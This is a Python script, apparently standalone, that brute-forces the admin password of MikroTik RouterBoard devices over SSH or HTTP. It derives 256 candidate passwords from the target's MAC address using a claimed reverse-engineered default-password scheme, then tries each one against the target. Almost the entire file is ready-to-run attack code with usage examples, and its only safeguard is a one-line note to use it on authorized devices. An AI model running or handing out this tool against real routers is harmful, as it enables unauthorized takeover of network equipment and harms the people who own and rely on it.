"""
MikroTik RouterBoard Targeted Password Brute Force

Based on reverse engineered algorithm analysis:
- Only tries 256 possible passwords (one per MAC[0] value)
- Assumes 0xD0 and 0xFF are fixed constants
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
- Takes ~2-5 minutes instead of thousands of years!

Algorithm:
  PWD[0] = MAC[0] XOR 0xD0
  PWD[1] = MAC[1]
  PWD[2] = NOT(MAC[2])
  PWD[3] = 0xFF

USAGE: Only use on devices you own or have authorization to access.
"""

import sys
import time
import argparse


class MikroTikTargetedBruteForce:
    """Targeted brute force for MikroTik passwords."""

    def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
        """
        Initialize the targeted brute force.

        Args:
            mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
            host (str): IP address of device
            port (int): Port (22 for SSH, 80 for HTTP)
            use_http (bool): Use HTTP instead of SSH
            timeout (int): Connection timeout in seconds
        """
        self.mac_address = mac_address.upper()
        self.host = host
        self.port = port
        self.use_http = use_http
        self.timeout = timeout
        self.username = "admin"
        self.attempts = 0
        self.found_password = None

    def parse_mac(self, mac_string):
        """Parse MAC address string into bytes."""
        parts = mac_string.upper().split(":")
        if len(parts) != 6:
            raise ValueError(f"Invalid MAC address: {mac_string}")
        try:
            return [int(part, 16) for part in parts]
        except ValueError:
            raise ValueError(f"Invalid MAC address format: {mac_string}")

    def generate_password_for_mac_byte_0(self, mac_byte_0):
        """
        Generate password for a specific MAC[0] value.

        Args:
            mac_byte_0 (int): Value for MAC[0] (0-255)

        Returns:
            str: Password in format "xxxx-xxxx"
        """
        # Use actual MAC bytes for 1-3
        mac_bytes = self.parse_mac(self.mac_address)
        b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]

        # But vary b0 for brute forcing
        pwd_byte_0 = mac_byte_0 ^ 0xD0
        pwd_byte_1 = b1
        pwd_byte_2 = (~b2) & 0xFF  # NOT operation
        pwd_byte_3 = 0xFF

        hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
        return f"{hex_string[:4]}-{hex_string[4:]}"

    def try_password_ssh(self, password):
        """Try connecting via SSH."""
        try:
            import paramiko
        except ImportError:
            print("Error: paramiko not installed. Install with: pip install paramiko")
            return False

        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            client.connect(
                self.host,
                port=self.port,
                username=self.username,
                password=password,
                timeout=self.timeout,
                allow_agent=False,
                look_for_keys=False,
            )
            client.close()
            return True
        except paramiko.AuthenticationException:
            return False
        except Exception:
            return False

    def try_password_http(self, password):
        """Try connecting via HTTP."""
        try:
            import requests
            from requests.auth import HTTPBasicAuth
        except ImportError:
            print("Error: requests not installed. Install with: pip install requests")
            return False

        try:
            response = requests.get(
                f"http://{self.host}:{self.port}/",
                auth=HTTPBasicAuth(self.username, password),
                timeout=self.timeout,
            )
            return response.status_code == 200
        except Exception:
            return False

    def try_password(self, password):
        """Try a password."""
        if self.use_http:
            return self.try_password_http(password)
        else:
            return self.try_password_ssh(password)

    def brute_force(self):
        """Run the targeted brute force (256 attempts)."""
        print("MikroTik Targeted Password Brute Force")
        print("=" * 50)
        print()
        print(f"MAC Address: {self.mac_address}")
        print(f"Target:      {self.host}:{self.port}")
        print(f"Method:      {'HTTP/WebFig' if self.use_http else 'SSH'}")
        print()
        print("Algorithm:")
        print("  PWD[0] = MAC[0] XOR 0xD0")
        print("  PWD[1] = MAC[1]")
        print("  PWD[2] = NOT(MAC[2])")
        print("  PWD[3] = 0xFF")
        print()
        print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
        print()

        mac_bytes = self.parse_mac(self.mac_address)
        start_time = time.time()

        for mac_byte_0 in range(256):
            password = self.generate_password_for_mac_byte_0(mac_byte_0)
            self.attempts += 1

            if self.attempts % 32 == 1 or self.attempts == 1:
                elapsed = time.time() - start_time
                rate = self.attempts / elapsed if elapsed > 0 else 0
                print(
                    f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
                    f"Trying: {password}"
                )

            if self.try_password(password):
                elapsed = time.time() - start_time
                print()
                print("=" * 50)
                print(f"[+] SUCCESS! Password found!")
                print(f"[+] Password: {password}")
                print(f"[+] Total attempts: {self.attempts}")
                print(f"[+] Time elapsed: {elapsed:.2f} seconds")
                print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
                print("=" * 50)
                self.found_password = password
                return password

        elapsed = time.time() - start_time
        print()
        print("=" * 50)
        print("[-] Brute force complete. Password not found.")
        print(f"[-] This means:")
        print(f"    1. The constants 0xD0 or 0xFF might not be fixed")
        print(f"    2. The algorithm might be different")
        print(f"    3. Or the device might have a different password algorithm")
        print(f"[*] Total attempts: {self.attempts}/256")
        print(f"[*] Time elapsed: {elapsed:.2f} seconds")
        print("=" * 50)
        return None


def main():
    """Main entry point."""
    parser = argparse.ArgumentParser(
        description="MikroTik Targeted Password Brute Force (256 attempts)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python script.py 18:FD:74:F9:04:FC 192.168.88.1
  python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
  python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
        """,
    )

    parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
    parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
    parser.add_argument(
        "--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
    )
    parser.add_argument(
        "--method",
        choices=["ssh", "http"],
        default="ssh",
        help="Connection method (default: ssh)",
    )
    parser.add_argument(
        "--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
    )

    args = parser.parse_args()

    # Validate MAC address
    try:
        brute_forcer = MikroTikTargetedBruteForce(
            args.mac,
            args.host,
            port=args.port,
            use_http=(args.method == "http"),
            timeout=args.timeout,
        )
    except ValueError as e:
        print(f"Error: {e}")
        sys.exit(1)

    # Run brute force
    password = brute_forcer.brute_force()

    if password:
        sys.exit(0)
    else:
        sys.exit(1)


if __name__ == "__main__":
    main()

